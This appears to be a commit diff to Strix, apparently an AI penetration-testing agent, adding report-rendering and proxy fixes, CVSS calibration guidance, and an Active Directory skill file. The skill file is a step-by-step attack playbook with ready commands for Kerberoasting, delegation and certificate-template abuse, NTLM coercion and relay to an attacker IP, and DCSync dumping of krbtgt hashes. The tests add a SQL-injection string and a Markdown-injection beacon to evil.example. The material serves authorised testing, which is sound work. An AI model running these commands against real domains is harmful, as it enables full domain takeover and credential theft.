docs(skills): fix AD skill collector package + split invalid pipx install

* docs(reporting): add CVSS calibration guidance to reduce severity inflation

The create_vulnerability_report tool documents the cvss_breakdown format but
gives no guidance on choosing metric values, so findings are frequently
over-rated. Add a concise calibration block covering the most common
inflation mistakes: scoring scenarios that presuppose the attacker already
holds a stolen secret as unauthenticated (PR:N) criticals, using C:H/I:H for
single-user or read-only/enumeration impact, folding a chained worst case
into one vector, and ignoring adversary-in-the-middle or user-interaction
prerequisites.

* docs(reporting): drop 'one weakness per report' calibration bullet

strix/report/writer.py

@@ -6,6 +6,7 @@ import csv
 import io
 import json
 import logging
+import re
 import tempfile
 from datetime import UTC, datetime
 from pathlib import Path
@@ -18,6 +19,21 @@ logger = logging.getLogger(__name__)
 
 _SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
 
+_BACKTICK_RUN = re.compile(r"`+")
+
+
+def _safe_fence(content: str) -> str:
+    """Return a backtick fence that ``content`` cannot break out of.
+
+    Per CommonMark a fenced code block is closed only by a run of backticks at
+    least as long as the opening fence. LLM-authored, attacker-influenced values
+    (PoC scripts, code snippets) may contain their own ``` runs, so we open with
+    a fence one backtick longer than the longest run inside ``content`` (never
+    fewer than three). Everything in ``content`` then renders verbatim.
+    """
+    longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0)
+    return "`" * max(3, longest + 1)
+
 
 def read_run_record(run_dir: Path) -> dict[str, Any]:
     path = run_record_path(run_dir)
@@ -171,9 +187,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str:  # noqa: PLR0912, PL
             lines.append(str(report["poc_description"]))
             lines.append("")
         if report.get("poc_script_code"):
-            lines.append("```")
-            lines.append(str(report["poc_script_code"]))
-            lines.append("```")
+            code = str(report["poc_script_code"])
+            fence = _safe_fence(code)
+            lines.append(fence)
+            lines.append(code)
+            lines.append(fence)
             lines.append("")
 
     if report.get("code_locations"):
@@ -190,7 +208,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str:  # noqa: PLR0912, PL
             if loc.get("label"):
                 lines.append(f"  {loc['label']}")
             if loc.get("snippet"):
-                lines.append(f"  ```\n  {loc['snippet']}\n  ```")
+                snippet = str(loc["snippet"])
+                fence = _safe_fence(snippet)
+                lines.append(f"  {fence}")
+                lines.extend(f"  {ln}" for ln in snippet.splitlines())
+                lines.append(f"  {fence}")
             if loc.get("fix_before") or loc.get("fix_after"):
                 lines.append("\n  **Suggested Fix:**")
                 lines.append("```diff")

strix/skills/technologies/active_directory.md

@@ -0,0 +1,233 @@
+---
+name: active_directory
+description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
+---
+
+# Active Directory
+
+Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it.
+
+## Attack Surface
+
+**Core services (per domain controller)**
+- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269)
+- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139)
+- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS)
+- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers
+- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES)
+
+**Principals & objects**
+- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts
+- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink`
+- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)
+
+**Trust boundaries**
+- Intra-forest (parent/child), inter-forest, external, SID history
+- `MachineAccountQuota` (default 10 → any user can join computer accounts)
+
+## Reconnaissance
+
+**Anonymous / pre-auth (no creds)**
+```
+# Domain + naming context from LDAP rootDSE
+nmap -Pn -p 389 --script ldap-rootdse <DC>
+# SMB null session / signing / OS
+nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
+enum4linux-ng -A <DC>
+# Username-less user enum via Kerberos pre-auth
+kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
+```
+
+**Authenticated enumeration (any valid user)**
+```
+nxc ldap <DC> -u <USER> -p <PASS>                       # confirm creds + domain info
+nxc smb <SUBNET> -u <USER> -p <PASS> --shares           # readable/writable shares
+nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
+ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
+```
+
+**BloodHound graph (the single most valuable step)**
+```
+bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
+# or, remote SharpHound-equivalent collector:
+nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
+```
+Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else.
+
+## Key Vulnerabilities
+
+### Kerberos Roasting
+
+**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable.
+```
+nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
+# or impacket
+GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
+hashcat -m 13100 kerb.txt wordlist.txt
+```
+
+**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known.
+```
+GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
+hashcat -m 18200 asrep.txt wordlist.txt
+```
+
+**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it.
+
+### Delegation Abuse
+
+- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync.
+- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access.
+- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host.
+```
+# RBCD chain
+addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
+rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
+getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
+```
+
+### AD Certificate Services (ESC1-ESC17)
+
+AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows:
+```
+certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
+```
+- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`:
+  ```
+  certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
+  certipy auth -pfx administrator.pfx -dc-ip <DC_IP>          # → NT hash / TGT
+  ```
+- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync.
+- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each.
+
+### NTLM Coercion & Relay
+
+Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB).
+```
+# 1. Start the relay (LDAP → RBCD, or AD CS → cert)
+ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
+ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+# 2. Coerce a target to authenticate
+coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
+PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC>          # MS-EFSR
+printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP>   # MS-RPRN
+```
+LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay.
+
+### DACL / Object Abuse
+
+From BloodHound edges:
+- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash).
+- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object.
+- **ForceChangePassword** → reset a target's password.
+- **AddMember** on a privileged group → self-add.
+- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs.
+```
+# Shadow Credentials (no password reset needed, stealthier)
+certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
+# bloodyAD for generic DACL edits
+bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
+```
+
+### Credential Access & Domain Dominance
+
+- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`:
+  ```
+  secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
+  nxc smb <DC> -u <USER> -p <PASS> --ntds        # full NTDS.dit
+  ```
+- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence.
+- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext.
+- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds.
+
+### Known unauthenticated CVEs (patch-dependent)
+
+- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs.
+- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC.
+- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413).
+Confirm with a version/patch check before firing — these are destructive.
+
+## Advanced Techniques
+
+- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it).
+- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched.
+- **SID history injection** across trusts for cross-domain/forest escalation.
+- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution.
+- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP.
+
+## Testing Methodology
+
+1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy.
+2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths.
+3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL.
+4. **AD CS sweep** — `certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph.
+5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter).
+6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed.
+7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first.
+8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope.
+
+## Validation
+
+1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output.
+2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync.
+3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop.
+4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured".
+5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding.
+
+## False Positives
+
+- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own.
+- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields).
+- Delegation flags present but the account is disabled or the target SPN is unreachable.
+- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable.
+- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable".
+- "Writable" share that only exposes a redirected/quarantined path with no useful content.
+
+## Impact
+
+- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data.
+- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history.
+- Lateral movement to every domain-joined host (file servers, databases, hypervisors).
+- Ransomware blast radius — DA is the standard pivot for domain-wide deployment.
+
+## Pro Tips
+
+1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes.
+2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds.
+3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed.
+4. Fix clock skew before Kerberos work: `sudo ntpdate <DC>` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops.
+5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs.
+6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules.
+7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML).
+
+## Tooling
+
+**None of the AD tools below ship in the Strix sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first.
+
+```
+# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
+pipx install impacket
+pipx install netexec            # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds
+pipx install certipy-ad         # AD CS enum + ESC1-ESC17 abuse, shadow credentials
+pipx install bloodhound-ce      # bloodhound-ce-python collector (BloodHound CE ingestor)
+pipx install coercer            # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
+pipx install bloodyAD           # DACL / LDAP object edits over LDAP
+pipx install ldapdomaindump     # LDAP dumper (bloodhound.py author)
+go install github.com/ropnop/kerbrute@latest   # kerbrute (Go) — user enum / pre-auth brute
+
+# Kali apt packages
+sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
+```
+
+- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`.
+- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging).
+- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set.
+- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential.
+- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target).
+- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`).
+
+Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`).
+
+## Summary
+
+AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.

strix/tools/proxy/caido_api.py

@@ -167,6 +167,9 @@ async def get_request_with_client(
     return await client.request.get(request_id, opts)
 
 
+_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"})
+
+
 def build_raw_request(
     *,
     method: str,
@@ -187,7 +190,16 @@ def build_raw_request(
     final_headers = {**headers}
     final_headers.setdefault("Host", parsed.netloc)
     final_headers.setdefault("User-Agent", "strix")
-    if body and "Content-Length" not in {k.title() for k in final_headers}:
+    # Framing headers inherited from the captured request describe the ORIGINAL
+    # body; once the body is modified for replay they are stale. We always send a
+    # plain (non-chunked) body with an explicit Content-Length, so drop any
+    # inherited Content-Length AND Transfer-Encoding (case-insensitively) and
+    # recompute the length from the body actually being sent. This keeps the two
+    # framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover
+    # Transfer-Encoding would make the target ignore Content-Length and try to
+    # parse the body as chunked), so the replay is never desynced.
+    final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS}
+    if body:
         final_headers["Content-Length"] = str(len(body.encode("utf-8")))
 
     lines = [f"{method.upper()} {path} HTTP/1.1"]

strix/tools/reporting/tool.py

@@ -422,6 +422,30 @@ async def create_vulnerability_report(
             "availability": "H"
         }
 
+    **CVSS calibration** — score the weakness you actually proved, not a
+    hypothetical worst case. Most over-rating comes from these mistakes:
+
+    - **Don't presuppose a separate compromise.** If exploitation
+      requires the attacker to already hold a victim secret (a stolen
+      session cookie/token, a leaked one-time link, intercepted traffic),
+      that acquisition is not free. Do not score it as
+      ``privileges_required:N`` with ``attack_complexity:L`` as if
+      directly reachable, and do not rate a replay-of-captured-secret
+      issue High/Critical unless the *same* finding demonstrates a
+      concrete way to obtain that secret. Issues like a session that
+      survives logout or a replayable link are session-management /
+      defense-in-depth weaknesses — usually Low/Medium on their own.
+    - **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` /
+      ``I:H`` require proof of wide or systemic read/write. A single
+      user's data, a read-only information leak, or merely confirming
+      that an account / domain / software version *exists* (enumeration)
+      is ``C:L`` (often ``I:N``) — not ``C:H``.
+    - **Model required position and interaction honestly.** An
+      adversary-in-the-middle prerequisite (e.g. cleartext transmission)
+      or a required victim action is not guaranteed — reflect it in
+      ``attack_complexity`` / ``user_interaction`` instead of assuming the
+      ideal condition always holds.
+
     **CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
     ``CWE-89``) — no name, no parenthetical. Be 100% certain; if
     unsure, use ``web_search`` to verify the ID before passing, or omit

tests/test_proxy_client.py

@@ -140,6 +140,59 @@ async def test_host_call_serializes_concurrent_calls() -> None:
     assert state["max"] == 1
 
 
+def _headers_named(raw: bytes, name: str) -> list[str]:
+    head = raw.decode("utf-8").split("\r\n\r\n", 1)[0]
+    return [
+        line.split(":", 1)[1].strip()
+        for line in head.split("\r\n")[1:]
+        if line.split(":", 1)[0].strip().lower() == name.lower()
+    ]
+
+
+def test_build_raw_request_recomputes_content_length_for_modified_body() -> None:
+    # The captured request declared Content-Length: 12 (original body); the
+    # replayed body is longer. The emitted request must carry exactly one
+    # Content-Length equal to the ACTUAL body length, or the target truncates
+    # the modified payload (or the connection desyncs).
+    body = '{"user":"a\' OR 1=1 -- injected long payload"}'
+    _conn, raw = caido_api.build_raw_request(
+        method="POST",
+        url="https://example.com/login",
+        headers={"content-length": "12", "Content-Type": "application/json"},
+        body=body,
+    )
+    sent_body = raw.decode("utf-8").split("\r\n\r\n", 1)[1]
+    assert sent_body == body
+    assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
+
+
+def test_build_raw_request_drops_transfer_encoding_for_modified_body() -> None:
+    body = '{"user":"updated"}'
+    _conn, raw = caido_api.build_raw_request(
+        method="POST",
+        url="https://example.com/login",
+        headers={
+            "tRaNsFeR-EnCoDiNg": "chunked",
+            "Content-Length": "7",
+            "Content-Type": "application/json",
+        },
+        body=body,
+    )
+    assert _headers_named(raw, "Transfer-Encoding") == []
+    assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
+
+
+def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None:
+    # A body cleared to empty must not keep the inherited (non-zero) length.
+    _conn, raw = caido_api.build_raw_request(
+        method="POST",
+        url="https://example.com/x",
+        headers={"Content-Length": "12"},
+        body="",
+    )
+    assert _headers_named(raw, "Content-Length") == []
+
+
 class _Ctx:
     def __init__(self, context: Any) -> None:
         self.context = context

tests/test_report_writer.py

@@ -113,6 +113,28 @@ def test_render_vulnerability_md_includes_dependency_fields() -> None:
     assert "## Assumptions" in md
 
 
+def test_render_vulnerability_md_poc_code_cannot_break_out_of_fence() -> None:
+    # LLM/target-authored PoC content containing its own ``` must not close the
+    # fence early and turn the injected markdown into live headings/images.
+    injected = "curl x\n```\n\n## Injected Heading\n![x](https://evil.example/beacon.png)"
+    md = render_vulnerability_md(_sample_report(poc_script_code=injected))
+    lines = md.split("\n")
+    fence = next(ln for ln in lines[lines.index("## Proof of Concept") + 1 :] if ln.strip())
+    assert set(fence) == {"`"}
+    assert len(fence) >= 4  # wider than the payload's 3-backtick run
+    assert injected in md  # the payload survives verbatim, inside the fence
+
+
+def test_render_vulnerability_md_snippet_cannot_break_out_of_fence() -> None:
+    snippet = "row = q()\n```\n## Injected"
+    md = render_vulnerability_md(
+        _sample_report(code_locations=[{"file": "app.py", "snippet": snippet}]),
+    )
+    assert (
+        "  ````\n  row = q()\n  ```\n  ## Injected\n  ````"
+    ) in md  # indented fence widened past the payload's ``` run
+
+
 def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None:
     reports = [
         _sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"),